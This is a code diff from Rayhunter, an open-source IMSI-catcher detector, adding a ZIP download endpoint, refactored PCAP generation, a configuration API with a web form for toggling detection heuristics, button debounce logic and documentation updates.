error!("failed to read key input: {}", e); _ = &mut ui_shutdown_rx => {
return; info!("received key input shutdown");
return;
}
result = file.read_exact(&mut buffer) => {
if let Err(e) = result {
error!("failed to read key input: {}", e);
return;
}
}
} }
let event = parse_event(buffer); let event = parse_event(buffer);
let now = Instant::now();
// On orbic it was observed that pressing the power button can trigger many successive
// events. Drop events that are too close together.
if let Some(last_time) = last_event_time {
if now.duration_since(last_time) < Duration::from_millis(50) {
last_event_time = Some(now);
continue;
}
}
last_event_time = Some(now);
match event { match event {
Event::KeyUp => { Event::KeyUp => {
if last_keyup.is_some() if let Some(last_keyup_instant) = last_keyup {
&& last_keyup.unwrap().elapsed() < Duration::from_millis(500) let elapsed = now.duration_since(last_keyup_instant);
{
if let Err(e) = diag_tx.send(DiagDeviceCtrlMessage::StopRecording).await { if elapsed >= Duration::from_millis(100)
error!("Failed to send StopRecording: {}", e); && elapsed <= Duration::from_millis(800)
{
if let Err(e) = diag_tx.send(DiagDeviceCtrlMessage::StopRecording).await
{
error!("Failed to send StopRecording: {}", e);
}
if let Err(e) =
diag_tx.send(DiagDeviceCtrlMessage::StartRecording).await
{
error!("Failed to send StartRecording: {}", e);
}
last_keyup = None;
continue;
} }
if let Err(e) = diag_tx.send(DiagDeviceCtrlMessage::StartRecording).await {
error!("Failed to send StartRecording: {}", e);
}
last_keyup = None;
} else {
last_keyup = Some(Instant::now());
} }
last_keyup = Some(now);
} }
Event::KeyDown => {} Event::KeyDown => {}
} }
+45 -32
View File
@@ -1,19 +1,18 @@
use crate::ServerState; use crate::ServerState;
use anyhow::Error;
use axum::body::Body; use axum::body::Body;
use axum::extract::{Path, State}; use axum::extract::{Path, State};
use axum::http::header::CONTENT_TYPE; use axum::http::header::CONTENT_TYPE;
use axum::http::StatusCode; use axum::http::StatusCode;
use axum::response::{IntoResponse, Response}; use axum::response::{IntoResponse, Response};
use futures::TryStreamExt;
use log::error; use log::error;
use rayhunter::diag::DataType; use rayhunter::diag::DataType;
use rayhunter::gsmtap_parser; use rayhunter::gsmtap_parser;
use rayhunter::pcap::GsmtapPcapWriter; use rayhunter::pcap::GsmtapPcapWriter;
use rayhunter::qmdl::QmdlReader; use rayhunter::qmdl::QmdlReader;
use std::sync::Arc; use std::sync::Arc;
use std::{future, pin::pin}; use tokio::io::{duplex, AsyncRead, AsyncWrite};
use tokio::io::duplex;
use tokio_util::io::ReaderStream; use tokio_util::io::ReaderStream;
// Streams a pcap file chunk-by-chunk to the client by reading the QMDL data // Streams a pcap file chunk-by-chunk to the client by reading the QMDL data
@@ -21,12 +20,15 @@ use tokio_util::io::ReaderStream;
// pcap data to a channel that's piped to the client. // pcap data to a channel that's piped to the client.
pub async fn get_pcap( pub async fn get_pcap(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
Path(qmdl_name): Path<String>, Path(mut qmdl_name): Path<String>,
) -> Result<Response, (StatusCode, String)> { ) -> Result<Response, (StatusCode, String)> {
let qmdl_store = state.qmdl_store_lock.read().await; let qmdl_store = state.qmdl_store_lock.read().await;
if qmdl_name.ends_with("pcapng") {
qmdl_name = qmdl_name.trim_end_matches(".pcapng").to_string();
}
let (entry_index, entry) = qmdl_store.entry_for_name(&qmdl_name).ok_or(( let (entry_index, entry) = qmdl_store.entry_for_name(&qmdl_name).ok_or((
StatusCode::NOT_FOUND, StatusCode::NOT_FOUND,
format!("couldn't find qmdl file with name {}", qmdl_name), format!("couldn't find manifest entry with name {}", qmdl_name),
))?; ))?;
if entry.qmdl_size_bytes == 0 { if entry.qmdl_size_bytes == 0 {
return Err(( return Err((
@@ -42,35 +44,10 @@ pub async fn get_pcap(
// the QMDL reader should stop at the last successfully written data chunk // the QMDL reader should stop at the last successfully written data chunk
// (entry.size_bytes) // (entry.size_bytes)
let (reader, writer) = duplex(1024); let (reader, writer) = duplex(1024);
let mut pcap_writer = GsmtapPcapWriter::new(writer).await.unwrap();
pcap_writer.write_iface_header().await.unwrap();
tokio::spawn(async move { tokio::spawn(async move {
let mut reader = QmdlReader::new(qmdl_file, Some(qmdl_size_bytes)); if let Err(e) = generate_pcap_data(writer, qmdl_file, qmdl_size_bytes).await {
let mut messages_stream = pin!(reader error!("failed to generate PCAP: {:?}", e);
.as_stream()
.try_filter(|container| future::ready(container.data_type == DataType::UserSpace)));
while let Some(container) = messages_stream
.try_next()
.await
.expect("failed getting QMDL container")
{
for maybe_msg in container.into_messages() {
match maybe_msg {
Ok(msg) => {
let maybe_gsmtap_msg =
gsmtap_parser::parse(msg).expect("error parsing gsmtap message");
if let Some((timestamp, gsmtap_msg)) = maybe_gsmtap_msg {
pcap_writer
.write_gsmtap_message(gsmtap_msg, timestamp)
.await
.expect("error writing pcap packet");
}
}
Err(e) => error!("error parsing message: {:?}", e),
}
}
} }
}); });
@@ -78,3 +55,39 @@ pub async fn get_pcap(
let body = Body::from_stream(ReaderStream::new(reader)); let body = Body::from_stream(ReaderStream::new(reader));
Ok((headers, body).into_response()) Ok((headers, body).into_response())
} }
pub async fn generate_pcap_data<R, W>(
writer: W,
qmdl_file: R,
qmdl_size_bytes: usize,
) -> Result<(), Error>
where
W: AsyncWrite + Unpin + Send,
R: AsyncRead + Unpin,
{
let mut pcap_writer = GsmtapPcapWriter::new(writer).await?;
pcap_writer.write_iface_header().await?;
let mut reader = QmdlReader::new(qmdl_file, Some(qmdl_size_bytes));
while let Some(container) = reader.get_next_messages_container().await? {
if container.data_type != DataType::UserSpace {
continue;
}
for maybe_msg in container.into_messages() {
match maybe_msg {
Ok(msg) => {
let maybe_gsmtap_msg = gsmtap_parser::parse(msg)?;
if let Some((timestamp, gsmtap_msg)) = maybe_gsmtap_msg {
pcap_writer
.write_gsmtap_message(gsmtap_msg, timestamp)
.await?;
}
}
Err(e) => error!("error parsing message: {:?}", e),
}
}
}
Ok(())
}
+264 -9
View File
@@ -1,27 +1,39 @@
use anyhow::Error;
use async_zip::tokio::write::ZipFileWriter;
use async_zip::Compression;
use async_zip::ZipEntryBuilder;
use axum::body::Body; use axum::body::Body;
use axum::extract::Path; use axum::extract::Path;
use axum::extract::State; use axum::extract::State;
use axum::http::header::{self, CONTENT_LENGTH, CONTENT_TYPE}; use axum::http::header::{self, CONTENT_LENGTH, CONTENT_TYPE};
use axum::http::{HeaderValue, StatusCode}; use axum::http::{HeaderValue, StatusCode};
use axum::response::{IntoResponse, Response}; use axum::response::{IntoResponse, Response};
use axum::Json;
use include_dir::{include_dir, Dir}; use include_dir::{include_dir, Dir};
use log::error;
use std::sync::Arc; use std::sync::Arc;
use tokio::io::AsyncReadExt; use tokio::fs::write;
use tokio::io::{copy, duplex, AsyncReadExt};
use tokio::sync::mpsc::Sender; use tokio::sync::mpsc::Sender;
use tokio::sync::RwLock; use tokio::sync::{oneshot, RwLock};
use tokio_util::compat::FuturesAsyncWriteCompatExt;
use tokio_util::io::ReaderStream; use tokio_util::io::ReaderStream;
use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus}; use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
use crate::config::Config;
use crate::pcap::generate_pcap_data;
use crate::qmdl_store::RecordingStore; use crate::qmdl_store::RecordingStore;
use crate::{display, DiagDeviceCtrlMessage}; use crate::{display, DiagDeviceCtrlMessage};
pub struct ServerState { pub struct ServerState {
pub config_path: String,
pub config: Config,
pub qmdl_store_lock: Arc<RwLock<RecordingStore>>, pub qmdl_store_lock: Arc<RwLock<RecordingStore>>,
pub diag_device_ctrl_sender: Sender<DiagDeviceCtrlMessage>, pub diag_device_ctrl_sender: Sender<DiagDeviceCtrlMessage>,
pub ui_update_sender: Sender<display::DisplayState>, pub ui_update_sender: Sender<display::DisplayState>,
pub analysis_status_lock: Arc<RwLock<AnalysisStatus>>, pub analysis_status_lock: Arc<RwLock<AnalysisStatus>>,
pub analysis_sender: Sender<AnalysisCtrlMessage>, pub analysis_sender: Sender<AnalysisCtrlMessage>,
pub debug_mode: bool, pub daemon_restart_tx: Arc<RwLock<Option<oneshot::Sender<()>>>>,
} }
pub async fn get_qmdl( pub async fn get_qmdl(
@@ -34,12 +46,15 @@ pub async fn get_qmdl(
StatusCode::NOT_FOUND, StatusCode::NOT_FOUND,
format!("couldn't find qmdl file with name {}", qmdl_idx), format!("couldn't find qmdl file with name {}", qmdl_idx),
))?; ))?;
let qmdl_file = qmdl_store.open_entry_qmdl(entry_index).await.map_err(|e| { let qmdl_file = qmdl_store
( .open_entry_qmdl(entry_index)
StatusCode::INTERNAL_SERVER_ERROR, .await
format!("error opening QMDL file: {}", e), .map_err(|err| {
) (
})?; StatusCode::INTERNAL_SERVER_ERROR,
format!("error opening QMDL file: {}", err),
)
})?;
let limited_qmdl_file = qmdl_file.take(entry.qmdl_size_bytes as u64); let limited_qmdl_file = qmdl_file.take(entry.qmdl_size_bytes as u64);
let qmdl_stream = ReaderStream::new(limited_qmdl_file); let qmdl_stream = ReaderStream::new(limited_qmdl_file);
@@ -76,3 +91,243 @@ pub async fn serve_static(
.unwrap(), .unwrap(),
} }
} }
pub async fn get_config(
State(state): State<Arc<ServerState>>,
) -> Result<Json<Config>, (StatusCode, String)> {
Ok(Json(state.config.clone()))
}
pub async fn set_config(
State(state): State<Arc<ServerState>>,
Json(config): Json<Config>,
) -> Result<(StatusCode, String), (StatusCode, String)> {
let config_str = toml::to_string_pretty(&config).map_err(|err| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("failed to serialize config as TOML: {}", err),
)
})?;
write(&state.config_path, config_str).await.map_err(|err| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("failed to write config file: {}", err),
)
})?;
// Trigger daemon restart after writing config
let mut restart_tx = state.daemon_restart_tx.write().await;
if let Some(sender) = restart_tx.take() {
sender.send(()).map_err(|_| {
(
StatusCode::INTERNAL_SERVER_ERROR,
"couldn't send restart signal".to_string(),
)
})?;
Ok((
StatusCode::ACCEPTED,
"wrote config and triggered restart".to_string(),
))
} else {
Ok((
StatusCode::ACCEPTED,
"wrote config but restart already triggered".to_string(),
))
}
}
pub async fn get_zip(
State(state): State<Arc<ServerState>>,
Path(entry_name): Path<String>,
) -> Result<Response, (StatusCode, String)> {
let qmdl_idx = entry_name.trim_end_matches(".zip").to_owned();
let (entry_index, qmdl_size_bytes) = {
let qmdl_store = state.qmdl_store_lock.read().await;
let (entry_index, entry) = qmdl_store.entry_for_name(&qmdl_idx).ok_or((
StatusCode::NOT_FOUND,
format!("couldn't find entry with name {}", qmdl_idx),
))?;
if entry.qmdl_size_bytes == 0 {
return Err((
StatusCode::SERVICE_UNAVAILABLE,
"QMDL file is empty, try again in a bit!".to_string(),
));
}
(entry_index, entry.qmdl_size_bytes)
};
let qmdl_store_lock = state.qmdl_store_lock.clone();
let (reader, writer) = duplex(8192);
tokio::spawn(async move {
let result: Result<(), Error> = async {
let mut zip = ZipFileWriter::with_tokio(writer);
// Add QMDL file
{
let entry =
ZipEntryBuilder::new(format!("{qmdl_idx}.qmdl").into(), Compression::Stored);
// FuturesAsyncWriteCompatExt::compat_write because async-zip's entrystream does
// not impl tokio's AsyncWrite, but only future's AsyncWrite. This can be removed
// once https://github.com/Majored/rs-async-zip/pull/160 is released.
let mut entry_writer = zip.write_entry_stream(entry).await?.compat_write();
let mut qmdl_file = {
let qmdl_store = qmdl_store_lock.read().await;
qmdl_store
.open_entry_qmdl(entry_index)
.await?
.take(qmdl_size_bytes as u64)
};
copy(&mut qmdl_file, &mut entry_writer).await?;
entry_writer.into_inner().close().await?;
}
// Add PCAP file
{
let entry =
ZipEntryBuilder::new(format!("{qmdl_idx}.pcapng").into(), Compression::Stored);
let mut entry_writer = zip.write_entry_stream(entry).await?.compat_write();
let qmdl_file_for_pcap = {
let qmdl_store = qmdl_store_lock.read().await;
qmdl_store
.open_entry_qmdl(entry_index)
.await?
.take(qmdl_size_bytes as u64)
};
if let Err(e) =
generate_pcap_data(&mut entry_writer, qmdl_file_for_pcap, qmdl_size_bytes).await
{
// if we fail to generate the PCAP file, we should still continue and give the
// user the QMDL.
error!("Failed to generate PCAP: {:?}", e);
}
entry_writer.into_inner().close().await?;
}
zip.close().await?;
Ok(())
}
.await;
if let Err(e) = result {
error!("Error generating ZIP file: {:?}", e);
}
});
let headers = [(CONTENT_TYPE, "application/zip")];
let body = Body::from_stream(ReaderStream::new(reader));
Ok((headers, body).into_response())
}
#[cfg(test)]
mod tests {
use super::*;
use async_zip::base::read::mem::ZipFileReader;
use axum::extract::{Path, State};
use tempfile::TempDir;
async fn create_test_qmdl_store() -> (TempDir, Arc<RwLock<crate::qmdl_store::RecordingStore>>) {
let temp_dir = TempDir::new().unwrap();
let store_path = temp_dir.path().to_path_buf();
let store = crate::qmdl_store::RecordingStore::create(&store_path)
.await
.unwrap();
(temp_dir, Arc::new(RwLock::new(store)))
}
async fn create_test_entry_with_data(
store_lock: &Arc<RwLock<crate::qmdl_store::RecordingStore>>,
test_data: &[u8],
) -> String {
let entry_name = {
let mut store = store_lock.write().await;
let (mut qmdl_file, _analysis_file) = store.new_entry().await.unwrap();
if !test_data.is_empty() {
use tokio::io::AsyncWriteExt;
qmdl_file.write_all(test_data).await.unwrap();
qmdl_file.flush().await.unwrap();
}
let current_entry = store.current_entry.unwrap();
let entry = &store.manifest.entries[current_entry];
let entry_name = entry.name.clone();
store
.update_entry_qmdl_size(current_entry, test_data.len())
.await
.unwrap();
entry_name
};
let mut store = store_lock.write().await;
store.close_current_entry().await.unwrap();
entry_name
}
fn create_test_server_state(
store_lock: Arc<RwLock<crate::qmdl_store::RecordingStore>>,
) -> Arc<ServerState> {
let (tx, _rx) = tokio::sync::mpsc::channel(1);
let (ui_tx, _ui_rx) = tokio::sync::mpsc::channel(1);
let (analysis_tx, _analysis_rx) = tokio::sync::mpsc::channel(1);
let analysis_status = {
let store = store_lock.try_read().unwrap();
crate::analysis::AnalysisStatus::new(&*store)
};
Arc::new(ServerState {
config_path: "/tmp/test_config.toml".to_string(),
config: Config::default(),
qmdl_store_lock: store_lock,
diag_device_ctrl_sender: tx,
ui_update_sender: ui_tx,
analysis_status_lock: Arc::new(RwLock::new(analysis_status)),
analysis_sender: analysis_tx,
daemon_restart_tx: Arc::new(RwLock::new(None)),
})
}
#[tokio::test]
async fn test_get_zip_success() {
let (_temp_dir, store_lock) = create_test_qmdl_store().await;
let test_qmdl_data = vec![0x7E, 0x00, 0x00, 0x00, 0x10, 0x00, 0x7E];
let entry_name = create_test_entry_with_data(&store_lock, &test_qmdl_data).await;
let state = create_test_server_state(store_lock);
let result = get_zip(State(state), Path(entry_name.clone())).await;
assert!(result.is_ok());
let response = result.unwrap();
let headers = response.headers();
assert_eq!(headers.get("content-type").unwrap(), "application/zip");
let body = response.into_body();
let body_bytes = axum::body::to_bytes(body, usize::MAX).await.unwrap();
let zip_reader = ZipFileReader::new(body_bytes.to_vec()).await.unwrap();
let filenames = zip_reader
.file()
.entries()
.iter()
.map(|entry| entry.filename().as_str().unwrap().to_owned())
.collect::<Vec<String>>();
assert_eq!(
filenames,
vec![format!("{entry_name}.qmdl"), format!("{entry_name}.pcapng"),]
);
}
}
@@ -0,0 +1,194 @@
<script lang="ts">
import { get_config, set_config, type Config } from '../utils.svelte';
let config = $state<Config | null>(null);
let loading = $state(false);
let saving = $state(false);
let message = $state("");
let messageType = $state<"success" | "error" | null>(null);
let showConfig = $state(false);
async function loadConfig() {
try {
loading = true;
config = await get_config();
message = "";
messageType = null;
} catch (error) {
message = `Failed to load config: ${error}`;
messageType = "error";
} finally {
loading = false;
}
}
async function saveConfig() {
if (!config) return;
try {
saving = true;
await set_config(config);
message = "Config saved successfully! Rayhunter is restarting now. Reload the page in a few seconds.";
messageType = "success";
} catch (error) {
message = `Failed to save config: ${error}`;
messageType = "error";
} finally {
saving = false;
}
}
// Load config when first shown
$effect(() => {
if (showConfig && !config) {
loadConfig();
}
});
</script>
<div class="bg-white rounded-lg shadow-md p-6 m-4">
<button
class="w-full flex justify-between items-center text-xl font-bold mb-4 text-rayhunter-dark-blue hover:text-rayhunter-blue"
onclick={() => showConfig = !showConfig}
>
<span>Configuration</span>
<svg class="w-6 h-6 transition-transform {showConfig ? 'rotate-180' : ''}" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7"></path>
</svg>
</button>
{#if showConfig}
{#if loading}
<div class="text-center py-4">Loading config...</div>
{:else if config}
<form class="space-y-4" onsubmit={(e) => { e.preventDefault(); saveConfig(); }}>
<div>
<label for="ui_level" class="block text-sm font-medium text-gray-700 mb-1">
Device UI Level
</label>
<select
id="ui_level"
bind:value={config.ui_level}
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
>
<option value={0}>0 - Invisible mode</option>
<option value={1}>1 - Subtle mode (colored line)</option>
<option value={2}>2 - Demo mode (orca gif)</option>
<option value={3}>3 - EFF logo</option>
</select>
</div>
<div>
<label for="key_input_mode" class="block text-sm font-medium text-gray-700 mb-1">
Device Input Mode
</label>
<select
id="key_input_mode"
bind:value={config.key_input_mode}
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
>
<option value={0}>0 - Disable button control</option>
<option value={1}>1 - Double-tap power button to start/stop recording</option>
</select>
</div>
<div class="space-y-3">
<div class="flex items-center">
<input
id="colorblind_mode"
type="checkbox"
bind:checked={config.colorblind_mode}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="colorblind_mode" class="ml-2 block text-sm text-gray-700">
Colorblind Mode
</label>
</div>
</div>
<div class="border-t pt-4 mt-6">
<h3 class="text-lg font-semibold text-gray-800 mb-4">Analyzer Heuristic Settings</h3>
<div class="space-y-3">
<div class="flex items-center">
<input
id="imsi_requested"
type="checkbox"
bind:checked={config.analyzers.imsi_requested}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="imsi_requested" class="ml-2 block text-sm text-gray-700">
IMSI Requested Heuristic
</label>
</div>
<div class="flex items-center">
<input
id="connection_redirect_2g_downgrade"
type="checkbox"
bind:checked={config.analyzers.connection_redirect_2g_downgrade}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="connection_redirect_2g_downgrade" class="ml-2 block text-sm text-gray-700">
Connection Redirect 2G Downgrade Heuristic
</label>
</div>
<div class="flex items-center">
<input
id="lte_sib6_and_7_downgrade"
type="checkbox"
bind:checked={config.analyzers.lte_sib6_and_7_downgrade}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="lte_sib6_and_7_downgrade" class="ml-2 block text-sm text-gray-700">
LTE SIB6 and SIB7 Downgrade Heuristic
</label>
</div>
<div class="flex items-center">
<input
id="null_cipher"
type="checkbox"
bind:checked={config.analyzers.null_cipher}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="null_cipher" class="ml-2 block text-sm text-gray-700">
Null Cipher Heuristic
</label>
</div>
</div>
</div>
<div class="flex gap-2 pt-4">
<button
type="submit"
disabled={saving}
class="bg-blue-500 hover:bg-blue-700 disabled:opacity-50 text-white font-bold py-2 px-4 rounded-md flex flex-row gap-1 items-center"
>
{#if saving}
<div class="w-4 h-4 border-2 border-white border-t-transparent rounded-full animate-spin"></div>
Saving...
{:else}
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
</svg>
Apply and restart
{/if}
</button>
</div>
</form>
{#if message}
<div class="mt-4 p-3 rounded {messageType === 'error' ? 'bg-red-100 text-red-700' : 'bg-green-100 text-green-700'}">
{message}
</div>
{/if}
{:else}
<div class="text-center py-4 text-red-600">
Failed to load configuration. Please try reloading the page.
</div>
{/if}
{/if}
</div>
@@ -54,11 +54,12 @@
</div> </div>
<div class="flex flex-col"> <div class="flex flex-col">
<span class="">Start: {date_formatter.format(entry.start_time)}</span> <span class="">Start: {date_formatter.format(entry.start_time)}</span>
<span class="">Last Message: {date_formatter.format(entry.last_message_time)}</span> <span class="">Last Message: {entry.last_message_time && date_formatter.format(entry.last_message_time) || "N/A"}</span>
</div> </div>
<div class="flex flex-row justify-between lg:justify-end gap-2 mt-2"> <div class="flex flex-row justify-between lg:justify-end gap-2 mt-2">
<DownloadLink url={entry.get_pcap_url()} text="pcap" full_button=true /> <DownloadLink url={entry.get_pcap_url()} text="pcap" full_button=true />
<DownloadLink url={entry.get_qmdl_url()} text="qmdl" full_button=true /> <DownloadLink url={entry.get_qmdl_url()} text="qmdl" full_button=true />
<DownloadLink url={entry.get_zip_url()} text="zip" full_button=true />
{#if current} {#if current}
<RecordingControls {server_is_recording} /> <RecordingControls {server_is_recording} />
{:else} {:else}
@@ -19,6 +19,7 @@
<th class='p-2' scope="col">Size</th> <th class='p-2' scope="col">Size</th>
<th class='p-2' scope="col">PCAP</th> <th class='p-2' scope="col">PCAP</th>
<th class='p-2' scope="col">QMDL</th> <th class='p-2' scope="col">QMDL</th>
<th class='p-2' scope="col">ZIP</th>
<th class='p-2' scope="col">Analysis</th> <th class='p-2' scope="col">Analysis</th>
<th class='p-2' scope="col"></th> <th class='p-2' scope="col"></th>
</tr> </tr>
@@ -32,6 +33,6 @@
<!--For smaller screens we use cards--> <!--For smaller screens we use cards-->
<div class="lg:hidden flex flex-col gap-4"> <div class="lg:hidden flex flex-col gap-4">
{#each entries as entry, i} {#each entries as entry, i}
<Card {entry} current={false} {i} /> <Card {entry} current={false} {i} {server_is_recording} />
{/each} {/each}
</div> </div>
@@ -32,10 +32,11 @@
<tr class="{status_row_color} drop-shadow"> <tr class="{status_row_color} drop-shadow">
<td class="p-2">{entry.name}</td> <td class="p-2">{entry.name}</td>
<td class="p-2">{date_formatter.format(entry.start_time)}</td> <td class="p-2">{date_formatter.format(entry.start_time)}</td>
<td class="p-2">{date_formatter.format(entry.last_message_time)}</td> <td class="p-2">{entry.last_message_time && date_formatter.format(entry.last_message_time) || "N/A"}</td>
<td class="p-2">{entry.get_readable_qmdl_size()}</td> <td class="p-2">{entry.get_readable_qmdl_size()}</td>
<td class="p-2"><DownloadLink url={entry.get_pcap_url()} text="pcap" /></td> <td class="p-2"><DownloadLink url={entry.get_pcap_url()} text="pcap" /></td>
<td class="p-2"><DownloadLink url={entry.get_qmdl_url()} text="qmdl" /></td> <td class="p-2"><DownloadLink url={entry.get_qmdl_url()} text="qmdl" /></td>
<td class="p-2"><DownloadLink url={entry.get_zip_url()} text="zip" /></td>
<td class="p-2"><AnalysisStatus onclick={toggle_analysis_visibility} entry={entry} analysis_visible={analysis_visible}/></td> <td class="p-2"><AnalysisStatus onclick={toggle_analysis_visibility} entry={entry} analysis_visible={analysis_visible}/></td>
{#if current} {#if current}
<td class="p-2"></td> <td class="p-2"></td>
@@ -49,7 +50,7 @@
{/if} {/if}
</tr> </tr>
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}"> <tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
<td class="border-t border-dashed p-2" colspan="8"> <td class="border-t border-dashed p-2" colspan="9">
<AnalysisView {entry} /> <AnalysisView {entry} />
</td> </td>
</tr> </tr>
+7 -3
View File
@@ -64,7 +64,7 @@ export class ManifestEntry {
this.qmdl_size_bytes = json.qmdl_size_bytes; this.qmdl_size_bytes = json.qmdl_size_bytes;
this.analysis_size_bytes = json.analysis_size_bytes; this.analysis_size_bytes = json.analysis_size_bytes;
this.start_time = new Date(json.start_time); this.start_time = new Date(json.start_time);
if (json.last_message_time !== undefined) { if (json.last_message_time) {
this.last_message_time = new Date(json.last_message_time); this.last_message_time = new Date(json.last_message_time);
} }
} }
@@ -86,11 +86,15 @@ export class ManifestEntry {
} }
get_pcap_url(): string { get_pcap_url(): string {
return `/api/pcap/${this.name}`; return `/api/pcap/${this.name}.pcapng`;
} }
get_qmdl_url(): string { get_qmdl_url(): string {
return `/api/qmdl/${this.name}`; return `/api/qmdl/${this.name}.qmdl`;
}
get_zip_url(): string {
return `/api/zip/${this.name}.zip`;
} }
get_analysis_report_url(): string { get_analysis_report_url(): string {
+33
View File
@@ -1,6 +1,20 @@
import { Manifest } from "./manifest.svelte"; import { Manifest } from "./manifest.svelte";
import type { SystemStats } from "./systemStats"; import type { SystemStats } from "./systemStats";
export interface AnalyzerConfig {
imsi_requested: boolean;
connection_redirect_2g_downgrade: boolean;
lte_sib6_and_7_downgrade: boolean;
null_cipher: boolean;
}
export interface Config {
ui_level: number;
colorblind_mode: boolean;
key_input_mode: number;
analyzers: AnalyzerConfig;
}
export async function req(method: string, url: string): Promise<string> { export async function req(method: string, url: string): Promise<string> {
const response = await fetch(url, { const response = await fetch(url, {
method: method, method: method,
@@ -21,3 +35,22 @@ export async function get_manifest(): Promise<Manifest> {
export async function get_system_stats(): Promise<SystemStats> { export async function get_system_stats(): Promise<SystemStats> {
return JSON.parse(await req('GET', '/api/system-stats')); return JSON.parse(await req('GET', '/api/system-stats'));
} }
export async function get_config(): Promise<Config> {
return JSON.parse(await req('GET', '/api/config'));
}
export async function set_config(config: Config): Promise<void> {
const response = await fetch('/api/config', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(config)
});
if (!response.ok) {
const error = await response.text();
throw new Error(error);
}
}
+2
View File
@@ -8,6 +8,7 @@
import SystemStatsTable from "$lib/components/SystemStatsTable.svelte"; import SystemStatsTable from "$lib/components/SystemStatsTable.svelte";
import DeleteAllButton from "$lib/components/DeleteAllButton.svelte"; import DeleteAllButton from "$lib/components/DeleteAllButton.svelte";
import RecordingControls from "$lib/components//RecordingControls.svelte"; import RecordingControls from "$lib/components//RecordingControls.svelte";
import ConfigForm from "$lib/components/ConfigForm.svelte";
let manager: AnalysisManager = new AnalysisManager(); let manager: AnalysisManager = new AnalysisManager();
let loaded = $state(false); let loaded = $state(false);
@@ -75,6 +76,7 @@
<ManifestTable entries={entries} server_is_recording={recording} /> <ManifestTable entries={entries} server_is_recording={recording} />
</div> </div>
<DeleteAllButton/> <DeleteAllButton/>
<ConfigForm />
{:else} {:else}
<div class="flex flex-col justify-center items-center"> <div class="flex flex-col justify-center items-center">
<img src="/rayhunter_orca_only.png" class="h-48 animate-spin"/> <img src="/rayhunter_orca_only.png" class="h-48 animate-spin"/>
+6 -1
View File
@@ -10,6 +10,11 @@ export default {
fallback: undefined, fallback: undefined,
precompress: false, precompress: false,
strict: true strict: true
}) }),
version: {
// Use a deterministic version string for reproducible builds.
// Without this option, SvelteKit will use a timestamp.
name: process.env.GITHUB_SHA || 'dev'
}
} }
}; };
+3
View File
@@ -3,3 +3,6 @@ authors = ["The Rayhunter Team"]
language = "en" language = "en"
src = "doc" src = "doc"
title = "Rayhunter - An IMSI Catcher Catcher" title = "Rayhunter - An IMSI Catcher Catcher"
[output.html]
edit-url-template = "https://github.com/efforg/rayhunter/edit/main/{path}"
+10 -1
View File
@@ -19,4 +19,13 @@ ui_level = 1
# 0 = rayhunter does not read button presses # 0 = rayhunter does not read button presses
# 1 = double-tapping the power button starts/stops recordings # 1 = double-tapping the power button starts/stops recordings
key_input_mode = 1 key_input_mode = 0
# Analyzer Configuration
# Enable/disable specific IMSI catcher detection heuristics
# See https://github.com/EFForg/rayhunter/blob/main/doc/heuristics.md for details
[analyzers]
imsi_requested = true
connection_redirect_2g_downgrade = true
lte_sib6_and_7_downgrade = true
null_cipher = true
+2
View File
@@ -6,12 +6,14 @@
- [Installing from the latest release (Windows)](./installing-from-release-windows.md) - [Installing from the latest release (Windows)](./installing-from-release-windows.md)
- [Installing from source](./installing-from-source.md) - [Installing from source](./installing-from-source.md)
- [Updating Rayhunter](./updating-rayhunter.md) - [Updating Rayhunter](./updating-rayhunter.md)
- [Configuration](./configuration.md)
- [Uninstalling](./uninstalling.md) - [Uninstalling](./uninstalling.md)
- [Using Rayhunter](./using-rayhunter.md) - [Using Rayhunter](./using-rayhunter.md)
- [Rayhunter's heuristics](./heuristics.md) - [Rayhunter's heuristics](./heuristics.md)
- [How we analyze a capture](./analyzing-a-capture.md) - [How we analyze a capture](./analyzing-a-capture.md)
- [Supported devices](./supported-devices.md) - [Supported devices](./supported-devices.md)
- [TP-Link M7350](./tplink-m7350.md) - [TP-Link M7350](./tplink-m7350.md)
- [TP-Link M7310](./tplink-m7310.md)
- [Orbic RC400L](./orbic.md) - [Orbic RC400L](./orbic.md)
- [Support, feedback, and community](./support-feedback-community.md) - [Support, feedback, and community](./support-feedback-community.md)
- [Frequently Asked Questions](./faq.md) - [Frequently Asked Questions](./faq.md)
+5
View File
@@ -0,0 +1,5 @@
# Configuration
Rayhunter can be configured by editing `/data/rayhunter/config.toml` on the device. You can obtain a shell on [orbic](./orbic.md#obtaining-a-shell) and [tplink](./tplink-m7350.md#obtaining-a-shell) and edit the file manually. In future versions the web UI will allow you to edit the config as well.
View the [default configuration file on GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.example).
+19
View File
@@ -18,3 +18,22 @@ Please note that this file may contain sensitive information such as your IMSI a
### Should I get a locked or unlocked orbic device? What is the difference? ### Should I get a locked or unlocked orbic device? What is the difference?
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear how locked the locked devices are nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices. If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear how locked the locked devices are nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices.
### How do I re-enable USB tethering after installing Rayhunter?
